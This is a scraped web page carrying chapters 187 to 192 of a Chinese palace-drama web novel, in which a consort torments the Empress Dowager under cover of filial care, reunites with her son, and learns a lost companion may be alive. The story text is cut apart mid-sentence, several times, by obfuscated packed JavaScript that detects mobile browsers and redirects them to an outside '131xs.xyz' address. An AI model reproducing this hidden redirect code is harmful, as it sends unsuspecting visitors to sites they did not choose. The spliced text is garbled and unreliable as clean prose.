l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792137|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就厌恶,就害怕,就躲着她。 走是不可能走的。 晋明鸢只当听不见王嬷嬷的话,直接走到了太后的床边,伸手就要扯太后的被子:“太后娘娘,母后,都是皇帝的嫔妃,都是您的儿媳,您独独对臣妾这么抗拒,可真是伤了臣妾的心。 不就是侍疾吗?她们能行,臣妾也行,你哪里疼,臣妾给你按按。” 她也不管太后的挣扎,直接一拳就砸在了太后的腰上,疼的太后尖叫的几乎要喘不上气来了。 王嬷嬷在旁边吓得冷汗连连:“哎呦,哎呦晋娘娘,当老奴求您了,您快点放过太后娘娘吧。 太后娘娘年纪大了,可经不起您这么折腾呀。” 她想过来拉人,又不太敢拉,生怕晋明鸢一个不注意,又伤到了太后。 “王嬷嬷,瞧您这话说的,我这是好心帮母后按摩,怎么就算折腾呢,您听听母后这么享受,肯定是我按对地方了,是这里对吧?”她随口确认一句,手又一次狠狠的按在了太后腰上。 她也不知道太后伤到了哪里,但听太后叫的那么惨,肯定就没跑了。 太后浑身颤抖不止,她喊着:“够了,够了晋氏,哀家好了,哀家好了还不行吗?你赶紧收手?” 太后觉得,她的腰伤本来不那么严重的,被晋明鸢这么一按,非得把她这个老腰按断了不成。 她现在只想把这个冤家送走。 “好了?我就说我按摩很有一手吧。 太后娘娘还不信。 您以后再需要人侍疾,直接让人找我就是,不用总去麻烦其他妹妹了,我保证能把您伺候的舒舒服服的。”晋明鸢说。 太后已经顾不得她在说什么了。 她只知道晋明鸢现在终于放过了她,她现在只想顺着晋明鸢的话把人打发走。 太后连连点头:“是是是,你说的对,哀家要休息了,你快走吧。” “那可不行,太后娘娘伤刚好,可不能直接休息,来,臣妾扶您起来走动走动。”晋明鸢说。 第188章 母后真是枉费儿媳的孝心 太后只觉得脑海里嗡的一声巨响,她更是整个人都在不住的发着抖。 扶她出来走走,她看这晋明鸢是真想折腾死她。 太后的腰疼的几乎都没有知觉了,她自然是不能跟着晋明鸢出去走。 “哀家不用走,哀家的身子哀家自己知道,王嬷嬷还愣着做什么?赶紧把晋氏送走。”太后说。 若是再不把这个晋氏送走,太后觉得就是她自己被晋氏送走了。 她又想到这段时间以来,晋明鸢屡屡对她出言不逊,那时候她就恨晋明鸢入骨,可现在看来,她恨晋明鸢还是恨早了。 这女人疯癫的简直就没有下限。 “为什么不用?是太后娘家的身子还没好吗?那臣妾就更不能走了,臣妾在给太后娘娘按按。”晋明鸢说着,伸手就在太后腰上又掐了一把。 太后连呼吸都被掐乱了,她撕心裂肺的叫声堪比杀猪:“够了!哀家说够了,哀家已经好了,你快别按了。” “好了那就起来走走呀,来,臣妾扶您。”晋明鸢说。 她不由分说的就拽太后的胳膊,试图把太后从床上扯下来。 太后的脸色一片煞白,连嘴唇都没了血色。 她现在算是看明白了,这**就没想放过她。 她若是说不好,这人就把她压着按,她若是说好了,她就逼她下来走。 这晋明鸢分明是想要了她这条老命啊。 早知道这样,她说什么也不敢让嫔妃们过来侍疾呀。 她就不该多嘴的,就不该想着给这些人立规矩的,平白招了这么个祸害。 太后现在也不敢说好,也不敢说不好了,只能看着晋明鸢问:“你到底怎么才能放过哀家?” 她现在是真拿晋明鸢没辙了。 这女人既没记忆,又不懂规矩,还有贺江灈护着,讲道理又讲不通,甚至连打她也不敢打,因为她知道,这女人是真敢还手。 “母后怎么能这么说呢?臣妾也是诚心在关心母后呀,母后您这是不领情吗?”晋明鸢问。 这个老妖婆,总是倚老卖老,喜欢磋磨宫里的嫔妃。 但她很清楚,这宫里的女人多的是可怜人。 贺江灈那个王八蛋,之前给她怄气,一股脑的弄进宫很多女子,把人都弄进来了之后,他又不管,平白让人被太后欺负。 既然如此,她就为她们撑腰好了。 她倒要看看,今天以后,太后还敢不敢找人侍疾? “母后您这样可就伤了儿媳的心了,来,儿媳扶您走动走动。”晋明鸢说。 她什么也不管,直接连拖带拽,硬是把太后从床上拉了下来。 确切的说是把太后拽到了地上,把人摔了个实打实。 太后疼的又是一声尖叫,本来就没有好的腰磕在了床沿上,她只觉得自己的骨头都要被摔断了。 看到晋明鸢还要拉她起来,太后彻底没办法忍耐了,她捂着胸口不断的哀嚎道:“王嬷嬷,王嬷嬷你愣着做什么?快去请皇帝,哀家要被他的人弄**,你赶紧让他来把人弄走。” 自知和晋明鸢讲道理是行不通的,太后现在能求的也只有贺江灈了。 王嬷嬷连连答应着,连滚带爬的就朝着外面跑。 晋明鸢还在装模作样:“太后娘娘,您可别总说这种让人伤心的话呀,儿媳明明是好心的,您这么抗拒可不就让儿媳寒心吗? 走,儿媳带您去散散步。” “够了!够了!晋氏,哀家求你还不成吗?你饶了哀家吧!”太后推开晋明鸢的手,她蜷缩在地上,也顾不得形象了,生怕被晋明鸢拽起来。 晋明鸢强行压住了眼睛里的笑。 她还想再接再厉的时候,外面忽然传来了通报声:“太后娘娘,宴平王来了。” 太后如蒙大赦。 “流儿来了,快快快,快点让流儿进来。”她觉得这次贺竟流来的太及时了。 她总算是能摆脱这个疯女人了。 贺竟流在门外,远远的就听到了太后的尖叫声。 他也是吓了一跳,急忙赶紧来,一眼就看到了太后躺在地上。 还不待贺竟流问清楚情况,太后就已经是迫不及待的道:“流儿,流儿你赶紧给母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808697|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后把这个疯子弄走。” 什么疯子? 贺竟流被太后这有点口无遮拦的话惊了一下,还没来得及问,就听到晋明鸢有点委屈的说:“母后,儿媳这么关心您,您说出这种话来,可真是太让儿媳伤心了。” 太后现在什么也不想管了。 她更不想和晋明鸢纠缠,又一次对着贺竟流吼道:“还愣着干什么,还不快点把她弄走。” 贺竟流这会儿已经走到了太后跟前,他颇为震惊的看着太后对面的晋明鸢:“皇嫂,你…你这是…” 贺竟流这次可真是被吓到了。 之前可只有太后训斥嫔妃的份儿,哪里有人能把太后逼到这个份上的? “是你啊,然后叫我过来侍疾,我过来了,她又这么抗拒,我是真搞不懂母后想要什么,你知道吗?”晋明鸢说。 对上贺竟流的眼神,她也是满脸的疑惑。 太后现在一眼也不想看到晋明鸢了,她说:“你跟她废话做什么,赶紧给哀家把她弄走。” 贺竟流满脸的震撼,她现在无比的好奇,晋明鸢究竟是做了什么,才能把太后逼成这样。 但眼下也不是问这个的时候,贺竟流尴尬道:“皇嫂,你看这…” 晋明鸢满脸的可惜,贺竟流来了,她就也不好再对太后做点什么了,晋明鸢说:“哎呀,看来母后还真是不欢迎我,真的是枉费了我一片孝心,既然这样,我也不好在这里打扰母后了,我还是走吧。” 几乎是晋明鸢话音落下的同一时间,太后那里就重重的舒了一口气,这混账玩意,可终于是要走了。 贺竟流客气道:“既然这样,那臣弟送送皇嫂吧。” 晋明鸢余光又扫了一眼,还瘫在地上的太后,她也不拒绝:“你这么好心,那我也不好推迟不是,那你送吧。” 贺竟流点头,跟着晋明鸢出了福寿宫,太后见状,几乎要咬碎了一口银牙。。 她现在还在地上躺着呢。 贺竟流是一点也不管她呀。 但即便生气,太后现在也不敢发作,生怕再把晋明鸢弄了回来。 第189章 云瑄回来了 贺竟流并没有直接把晋明鸢送出福寿宫就走,他一路跟着晋明鸢,直到回了邀云宫。 晋明鸢被他亦步亦趋的跟着有点烦,她道:“怎么,宴平王这是怪我唐突了太后,想要报复我?” 贺竟流本来只是有点好奇,晋明鸢到底有没有恢复记忆,但现在听着她这句话,那点疑虑终究是散了,他觉得之前的皇嫂说不出这么阴阳怪气的话来。 贺竟流否认道:“怎么会呢?皇嫂,瞧您说的,我可没有那心思哈,我就是有点好奇,你那天的鹅是从哪弄的?这宫里还有鹅吗?” 贺竟流是真的好奇。 他小时候的一举一动,全被太后操控着,完全不能自己选择,正因如此,长大了才就更离经叛道。 而且太后那里… 想到自家母后的某些心思,贺竟流就是一阵头疼,他就觉得一定是他表现的还不够荒唐,所以才让母后到现在为止都已认不清现实,依旧对他寄予某种厚望。 这**了京,贺竟流的目标无比明确,他就一个目的。 就是要让太后知道,他根本就不是什么成大事的人。 “我养的,养在冷宫,你若是有兴趣,可以过去看看,本来还有些猪的,只是出了些意外,不然还能请你吃顿大餐呢。”晋明鸢顺口说着,人已经踏过了邀云宫的门槛儿。 贺竟流也紧跟着进来了。 推开门,晋明鸢一下子就僵住了,她看到本来该明天回来的贺云瑄竟然坐在桌前。 小孩长高了一点儿,看起来好像更冷静了,就连皮肤都黑了一层,好在没瘦。 晋明鸢看他的时候,他也在看晋明鸢,又或者是晋明鸢的背后,眼神里好像还带着几分警惕。 姜妃不知道去了哪里,屋里就只有贺云瑄,虽说是自己的儿子,但晋明鸢这会儿还真就有点尴尬,一时没有先开口,气氛一下子就有点凝滞。 她手指有点僵硬,本能的想张开双臂让贺云瑄过来,可又开不了口,也怕他不来。 就在晋明鸢思虑着要说点什么的时候,是贺云瑄直接从椅子上跳了下来,他走到晋明鸢旁边,攥住了晋明鸢的手,低声问:“娘亲,我这才走了几天,你又在外面给我认了个爹?” “啥,你胡说什么?”晋明鸢都觉得,她是不是出现幻觉了?不然怎么会听到贺云瑄说了句那么古怪的话? 什么叫又在外面给他认了个爹? 他是会干这种事的人吗? 贺云瑄还在警惕地打量着贺竟流,他说:“娘亲,你是不是上了这个人的当?不是什么长得和我很像的人,你都能往回领的。” 他到现在还记得,那天晋明鸢失忆之后,看到贺江灈就不管不顾的揪着人骂。 虽然说今天他自己也觉得今天自己的这套说很荒唐,但是又仔细想来,好像他娘亲做什么荒唐事也不足为奇。 晋明鸢也没想到她贝儿子原来对她有这样大的误会,她还没有说什么,倒是旁边的贺竟流噗嗤一声笑出了声:“皇嫂,这就是小云瑄吧,说话还真有意思哈。 不过这种话可不能乱说了,王叔还想活命呢,可不敢给你当爹。” 贺竟流身子懒散的朝着门框上一靠,调侃的话就脱口而出。 “王叔?”贺云瑄略微怔了一下,一时没想明白,晋明鸢这才得了空解释道,“这位是宴平王,年关之前回来的,如果按辈分来算的话,你确实得叫他个王叔。” 贺云瑄一张小脸立刻就涨得通红,他看着贺竟流,一时竟也不知道该怎么开口。 还是贺竟流有点惊讶:“皇嫂你也没跟我说,小云瑄都长那么大了,我带来的那些东西怕是不太合适了,算了,等改天我再拿份别的见面礼过来。” 其实贺竟流送的那些东西,对贺云瑄的年龄来说也没有什么错处,只是在他看到贺云瑄那张过分平静的脸时,第一反应就是觉得自己拿来的那些拨浪鼓虎头帽什么的不合时宜。 他这个侄子。瞧起来比皇嫂还成熟几分呢,怎么看也不够也不会喜欢那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808698|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些玩意。 晋明鸢有段时间没有见贺云瑄了,心里本来就担忧的厉害,又因为想起了之前的记忆,现在迫切的想要关心贺云瑄。 她随便找了个由头,就直接下了逐客令,贺竟流倒也识趣,很快就走了。 屋里只剩下了晋明鸢和贺云瑄,贺云瑄拉着晋明鸢的手,认真的把她从上到下都打量了一番,话里尽是担忧:“我刚才听芙蕖说,最近宫里好像发生了很多事,你没事吧?” “我能有什么事?你看我这不是好好的吗?倒是你,云瑄,怎么黑了那么多?” 晋明鸢本来以为,她和贺云瑄之间应该会有点尴尬的,但是现在关心的话脱口而出,一切顺畅的就好像她和贺云瑄之间只是一对最寻常不过的母子。 贺云瑄说:“在外面走动难免风吹日晒,这还是冬天,没那么严重,娘亲就不用为我担心了。” 晋明鸢认真的看着他,除去还没有长开的五官以外,她竟然在他那张脸上找不到一点属于孩童的稚嫩。 之前便也罢了,现在她无比的清楚贺云瑄是怎么一步一步被迫长大的,心里便酸的厉害。 晋明鸢有点走神,贺云瑄拉着她的手问:“听芙蕖说你今天去给太后侍疾了,怎么样?她没有为难你吧?你之前不是总爱避着她吗?为什么还主动过去?” 一个接一个的问题,正冲着晋明鸢砸过来,晋明鸢看到贺云瑄的眼睛里渐渐的染了疑虑。 她不禁想,她的宝贝儿子真聪明,才刚刚回来,就已经察觉到就这么多。 恐怕就算自己不主动承认自己恢复记忆的事,用不了两天,贺云瑄自己也能发现。 晋明鸢说:“她怎么能为难我呢?放心好了,遇上我才是她的福气呢,她现在想躲着我都来不及。” 晋明鸢说着安慰的话,想要让贺云瑄眼睛里的担忧散去,但贺云瑄态度却无比凝重的道:“答应我娘亲,以后离那个太后远一点,还有那个宴平王,他是太后的儿子,能远离就远离。” 第190章 娘亲是不是又不想要我了 贺云瑄过分郑重的神色,让晋明鸢都愣了一下。 晋明鸢也没有再提太后的事,她换了个话题道:“你这几个月出去游学还顺利吗?怎么回来的这么急?” 她以为贺云瑄要走很久的,这满打满算也就一个多月。 年前才走,到如今也还没开春呢。 而且给她传信之后,更是没隔两天就来了,就像是为了什么事快马加鞭的赶回来一般。 贺云瑄神色更加凝重了,看起来也更像个大人了,他叹了口气:“本来没有打算这么快回来的,只是这段时间我跟师傅走了好几个地方,发现了一些事,师傅觉得情况不对,急着回来给陛下汇报。” “什么事?”晋明鸢问。 能让姜源这么急匆匆的回来,肯定不是什么小事。 贺云瑄说:“这些事有师傅和陛下解决,娘亲不用太过忧心。” “你这孩子现在是长大了,有秘密瞒着娘亲了吗?娘亲也是关心你,跟娘亲说说怎么了?”晋明鸢调侃道。 贺云瑄并没太坚持,他道:“其实就是我和师傅去了好几个城镇,都遇到了很多外邦人,就算我们对外通商,但那些外邦商人的数量未免太多,师傅觉得此事有异,便赶紧回来了。” 贺云瑄说的有点模棱两可的。 他觉得自家娘亲没必要为了这种事烦忧。 晋明鸢却忽然问道:“你说的那外邦人。是不是明丰国人?” 她失忆之前,就是因为听到了太后关于和明丰国那边合作的密谋,才坠了井。 尽管太后现在虽然因为警惕不安,暂时没所作为,但晋明鸢知道她不可能背地里什么也不做的。 如果真的是有大批的明丰国人,进入皇城附近的城镇,目的必然不单纯。 “娘亲,你怎么知道的!”贺云瑄有些惊讶,他师傅也是通过那些人的口音和穿着分辨出是明丰国那边的人可能性很大,但他娘亲是怎么确定的? 晋明鸢冷哼一声:“我就知道那个老妖婆不消停,真后悔刚才没有再使点劲儿多按她两下,真该让她疼的昏迷不醒的。” “娘亲你在说什么?”贺云瑄有点疑惑。 什么老妖婆?难道是在说太后,难道这件事和太后有关? 晋明鸢讪笑一下:“没什么,我说着玩呢,云瑄你累不累,要不要先回去休息一下?” 想到自己全家都在北疆戍边,就是为了防止明丰国的狼子野心,可太后却为了一己私欲和敌国联系,背后还不知道让出了怎样的利益,晋明鸢就气不打一处来。 她现在恨不得马上回去,再折腾太后一二,又害怕会吓到了云瑄。 “我不累,娘亲,你今天怎么好像有点奇怪,你是不是有事瞒着我?”贺云瑄歪着头,他看向晋明鸢的时候,眼神里都有点探究了。 他现在回来,娘亲就算不拉着他嘘寒问暖,不应该和他一起谈天说地吗?怎么忽然就改口让他走了? 他记得他走之前,娘亲明明对他很热情的,动不动就直接扑上来抱他,捏他的脸。 可这次他回来之后,为什么娘亲又不抱他了? 贺云瑄的小手在袖子里攥得紧紧的,他忽然觉得有点不安,手指轻轻勾了一下晋明鸢的袖口,他又问:“是不是云瑄做错什么让娘亲不开心了?所以娘亲才要赶云瑄走?” “怎么会呢,你可是娘亲的大宝贝,娘亲疼你都来不及呢,这些年娘亲做梦都想补偿你的,我也只是担心你刚回来太劳累,如果你不想休息,那就不去,留下陪娘亲说话也好。”晋明鸢摸着贺云瑄的脑袋说。 “这些年?”贺云瑄忽然重复了一句,他准确无误的就抓住了晋明鸢话里的关键,一双黑黝黝的眼睛正盯着晋明鸢的脸,“你是不是恢复记忆了?” 晋明鸢的表情都因为贺云瑄几乎笃定的一句话僵住了。 她还没来得及说呢,云瑄就已经自己猜到了吗? 她的宝贝儿子到底随了谁呀?怎么就那么聪明呢? 晋明鸢抿着唇,在贺云瑄的注视下,她心里忽然一阵心虚,竟然有些不敢开口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815288|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >之前冷宫里的一幕幕一遍遍地在眼前回荡着,她害怕贺云瑄知道她什么都想起来了,就直接推开她了。 毕竟她之前所作所为,完全算不上一个好母亲。 长久的沉默里,贺云瑄指尖把晋明鸢的袖口攥的更紧了一点,他脸上闪过一片惶恐,他问:“娘亲,你是不是又不想要云瑄了?” “为什么这么说?我怎么会不要你呢?我…”晋明鸢被贺云瑄的话吓了一跳,连忙否认,话还没说完,小孩就直直的撞进了她怀里。 她听到小孩用过分委屈的嗓音问:“娘亲,你之前说我是你的宝贝,还算话吗?” 宝贝两个字,贺云瑄说的僵硬又生涩。 往常他绝对说不出这种话来的。 可今天他有点怕。 他怕娘亲又会变成往日那个冷冰冰的,对他不理不睬的娘亲。 晋明鸢的心口都像被狠狠的撞了一下,她伸出手,揽住了贺云瑄的肩膀:“当然算话呀,云瑄一直都是娘亲的宝贝,永远都是,娘亲不会不要云瑄的。” 贺云瑄把晋明鸢的腰抱得更紧了一点。 即便得到确切的答案,也依旧没办法让他完全心安。 贺云瑄又问:“那娘亲会疏远云瑄吗?会不理云瑄吗?” 晋明鸢知道,他说的是自己之前的所作所为。 心里又一次闷闷的疼了一下,晋明鸢轻抚着贺云瑄的背脊,这一次她没有在逃避,她说:“对不起云瑄,是娘亲不好,是娘亲蠢笨,听信谗言,是娘亲没有陪着云瑄长大。 娘亲给你道歉,也给你保证,娘亲以后再也不会冷落我们云瑄了。” 她这几乎已经是承认她完全恢复记忆了。 贺云瑄在她怀里抬头看她,还能看到她眼角闪过的几分晶莹。 他的娘亲还是他熟悉又喜欢的样子,不是那个冷冰冰的,像是木偶一样的人。 贺云瑄心跳都因为这个认知快了几分,他说:“娘亲,只要你没有想过不要我,就不用给我道歉,我不会怪你的。” 第191章 赵离可能没死 姜妃回来的时候,看到的就是晋明鸢和贺云瑄抱在一起,母子两人眼里都有泪珠闪过。 姜妃笑着调侃到:“晋姐姐,小云瑄这才走了几天?你至于想念到泪流满面吗? 还有你,云瑄,男子汉大丈夫的,一回来就落眼泪,” 温馨的气氛被姜妃这一句话彻底搅碎,晋明鸢抬眼,嗔怪的看了姜妃一眼:“你做什么去了?不是让你在邀云宫装病吗!这种时候怎么也乱跑?” 姜妃笑道:“我病与不病不就是姐姐一句话的事吗?我可听说福寿宫那边,阵仗闹得很大呀,这回太后怕是见了你该躲着走了。” 晋明鸢有点可惜:“那算什么,如果不是宴平王来了,我还得拖着她出来走两步,看她还有没有心力折磨别的姐妹。” “是是是,晋姐姐是女侠,是英雄,不过… 有件大事得跟你说一下,我刚才去见挽月了,你看看这个。”姜妃道。 她从怀里取出了一个画像,递到了晋明鸢的面前。 “可是赵离的是有消息了?”晋明鸢问。 挽月是姜妃的心腹,之前就被她派去查赵离的事了。 “晋姐姐先看看这画吧。”姜妃说。 晋明鸢看她神神秘秘的,只能顺着她的意思把画展开,只看了一眼就蒙住了。 上面画着的人蓬头垢面,手里还拄着根木杖,衣衫也很破旧,看起来是在街上蹉跎的老乞儿,可晋明鸢的目光却焦在了他露出来的半张脸上。 哪怕那张脸脏兮兮的,还是让她心神一震。 “赵离!”晋明鸢震惊的叫出一个名字。 姜妃点了点头:“我看到的时候也很惊讶,很像对不对?” “你这话什么意思?是不是赵离还活着?”晋明鸢又问。 姜妃犹豫道:“我也不是很确定,挽月传来的消息说,他像是失忆了,什么都不知道,什么都不记得,周边的人都说他在那里游荡了好多年了,具体多少年又没人记得。” 只听到这个答案的时候,晋明鸢感觉心脏都像是被揪了一下。 她失忆的那段时间,身边有这么多人陪着,尚还浑浑噩噩,那赵离呢?在陌生的地方,满身是伤,没有记忆,如果那真是他,这些年他遭遇了什么,晋明鸢想都不敢想。 “那他现在人在哪里?”晋明鸢近乎迫切的问。 纵然她翻遍了自己所有的记忆,也找不到赵离有一丁点对不起她的地方,那个人和赵清吟终究是不同的。 “就知道你会这样问,我已经让挽月想办法把他带回来了,不过他腿脚不便,估计到京城得有十天半个月了。”姜妃说。 晋明鸢手紧紧的握起,即便再怎么用力克制,她也压抑不住心底的戾气。 当初她醒来的时候,赵清吟就一口咬定了赵离坠崖昏,尸骨无存,还谎称怕有追兵,催促着她赶紧跑。 她当时只想着赵清吟是赵离唯一的亲人,如果赵离真的为自己而时,她一定得护住赵清吟。 可如果这一切只是个骗局呢? 晋明鸢都不敢想,赵离引开追兵回来,找不到她们的时候,到底经历了什么。 “晋姐姐,你也别太过担忧,如今人已经找到,如果他真是赵离的话,真相一定很快水落石出,不管当年发生了什么,我都会陪着你给他一个交代。”姜妃说。 “我也是。”一直没说话的贺云瑄忽然坚定的道。 姜妃听笑了,打趣道:“你知道什么呀?就你也是。” 贺云瑄抓着晋明鸢的手:“就算我什么都不知道又怎么了?娘亲的事就是我的事,这就够了。” “还是你小子会说好听的话,你回来了也好,咱们这邀云宫更热闹了。”姜妃道。 贺云瑄其实还有好多问题想要问晋明鸢的,但看到现在晋明鸢神色不对,他也只能先把自己的疑惑压了下去,只是在一边安静的陪着晋明鸢。 三人一起用过了午膳,柳枝就从外面慌慌张张的跑了进来:“晋娘娘,姜妃娘娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15815289|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大事不好了呀!” “出什么事了?”姜妃问。 柳枝一脸菜色:“奴婢今天本来是去冷宫喂鹅的,哪知道宴平王也去了,他让人抓了两只鹅,说是要去给太后娘娘解闷。 这谁不知道太后娘娘最讨厌这些,万一再怪到娘娘头上,这可怎么办呀? 奴婢拦了,但宴平王不听,直接带着鹅去福寿宫了,娘娘,您快想想办法吧。” “这…”姜妃的脸色古怪。 晋明鸢也是轻轻皱了皱眉,贺竟流确实是找她打听过鹅的事,但她也没想到对方竟然真能付诸行动。 瞧着柳枝那副紧张的模样,晋明鸢摆了摆手道:“怕什么?反正那鹅也是宴平王弄走的,跟咱们有什么关系?” 姜妃笑道:“那个贺竟流是有本事哈,我从小就看他不一般。” 晋明鸢也没忽略掉姜妃跃跃欲试的表情,她道:“你要是想看热闹就去吧,反正你有病没病,太后那里也早有计较。” “你不去吗晋姐姐?”姜妃有些失望,一个人去看热闹,哪有和志同道合的姐妹一起有意思? 晋明鸢本来不太有兴致的,但她忽然想到了什么,又点了点头道:“我是应该和你一起去,说不定还能借这件事在贺江灈那里讨个什么。” 晋明鸢本来也想带上贺云瑄的,但被贺云瑄拒绝了。 贺云瑄从来沉稳,和她和姜妃这种跳脱的性格都不一样,晋明鸢自然也就不好勉强。 而此时福寿宫里,太后刚被扶上榻不久,还没有彻底缓过神来,贺竟流就拎着两只鹅直接进了殿。 陈设雅致装潢恢弘的福寿宫,和这两只呱呱乱叫的鹅无比不搭。 太后看到鹅的时候,只觉得脑袋一阵巨响,像是有什么东西直接炸开了一样,让她整个人都不好了。 她声音尖锐的大吼:“流儿,你这是做什么?还不赶紧让人把这两个畜生丢出去,这种东西怎么能拿到福寿宫来呢?快快快,赶紧给哀家丢出去。” 第192章 晋氏,你想要什么 两只鹅呱呱叫个不停,太后哪怕想要告诉自己是看花了眼,也没办法忽略掉这一声声鹅叫。 周围的一切都在提醒着她,这是真实的,贺竟流真的把两只鹅弄到她寝宫来了。 太后深吸一口气,又想继续呵斥。 贺竟流说:“母后,这可是儿子的一片心意,您何必这么抗拒呢? 儿子也是看您在福寿宫养伤无聊,这才给您找了个消遣的玩意儿。 为了这两只鹅,儿子可是去皇嫂那里求了好久,才让皇嫂答应的。 您看这您平时可以留在宫里逗闷儿,饿了还能杀了吃肉。多好的东西,您可得好好收着。” 贺竟流一边说着话,一边就要撒手,太后见状眼睛都瞪圆了,又一次尖叫道:“你别松手,贺竟流,哀家叫你别松手,你赶紧把这东西拿出去,拿到院子里去,别在哀家眼前晃。” “那这么行?这本就是儿子特地求来给您解闷的,母后您怎么能这么抗拒?”贺竟流不依不饶,“母后你久居深宫,不知道民间有个有趣的玩意儿,叫斗鸡,这鹅生的这么健硕,斗起来肯定比鸡有意思。 儿子之前在民间可是斗鸡的高手,正好现在斗个鹅给您解解闷。” 伴随着贺竟流的话落下,太后只觉得一阵怒气上头,她甚至都没有心思去在意贺竟流手里那两只大鹅了,几乎气急败坏的吼道:“你这些年在外面,就斗鸡了?” “倒也不是,蛐蛐也玩过,杂耍也玩过,总之有意思的东西,都尝试过,母后您就看着吧,儿臣包您满意。”贺竟流说。 太后已经被他这几句话气得浑身血液都要倒流了。 她怒道:“够了!来人,快来人,把这个宴平王给哀家赶出去,哀家想一个人静静。” 当年她把贺竟流送走,是为了让他韬光养晦,是等着他回来一统大业,可自己苦心孤诣的为他筹谋,她这个儿子在外面,做的都是些什么勾当? 在这一刻太后甚至有点儿忍不住的想,为什么偏偏就贺竟流是她的儿子呢? 小时候不学无术也就算了,长大了更是越来越过分。 王嬷嬷从外面急匆匆的跑进来,赶紧对着贺竟流劝道:“王爷,太后今天被那晋氏折腾了一番,也是乏了,您下回再来看太后吧。” 王嬷嬷还以为贺竟流没那么好劝呢,她正准备着接下来的说辞,却忽然瞳孔一缩。 贺竟流抓着鹅的两只手骤然一松,他道:“既然母后今日不想见我,那我就走了,这鹅留下来给母后逗闷。” 大鹅得了自由,就开始在福寿宫里横冲直撞,甚至还有一只直接跳上了太后的床,耀武扬威的仰着脖子高歌。 贺竟流就像是没看到自己带来的骚乱似的,双手枕在脑后,哼着小调就要走。 太后气的浑身发抖,可她那腰今天刚磕了一下,这会儿连坐都坐不起来,只能又对着贺竟流吼:“你回来,你给哀家回来,赶紧把你弄来的这两只畜生给哀家带走。” 如果这不是她儿子,太后已经要破口大骂了。 现在她对贺竟流的耐心也几乎要耗尽了。 就在这时候,外面忽然传来了一声通传:“陛下驾到!” 太后就像得了救星一样,赶紧大叫道:“快快快,快让皇帝进来,快让皇帝给哀家把这东西弄走。” 太后现在心里也怀疑贺竟流就是故意拿鹅折腾她的,可偏偏对方是她唯一的儿子,又拿着给她解闷当借口,她一时也不能说什么。 之前晋明鸢闯到福寿宫的时候,王嬷嬷就去请贺江灈了,贺江灈本来没想过来的。 后来姜源突然回宫,又带回了那些消息,贺江灈才打算来试探太后一二。 结果这才刚到,就见了这么一出大戏,反而是让他成了太后的救命稻草。 “这是怎么了?”贺江灈问。 贺竟流道:“母后这不是病的严重吗?臣弟担忧母后病中寂寞,特地去皇嫂那里要了几只鹅过来给母后解闷的,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820062|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在看来母后好像不领情,臣弟是不是做错了什么?” “哀家不用你好心,皇帝赶紧,赶紧让人把这畜生给哀家弄出去。”太后吼道。 贺江灈在这里,自然不能像贺竟流这么胡闹,他摆了摆手,示意张公公带人先把鹅赶出福寿宫。 大概有一刻钟的时间,福寿宫才重新安静了下来,太后还在捂着胸口,惊魂未定道:“皇帝,那个晋氏在冷宫养的那些东西,你到现在也不打算管管吗? 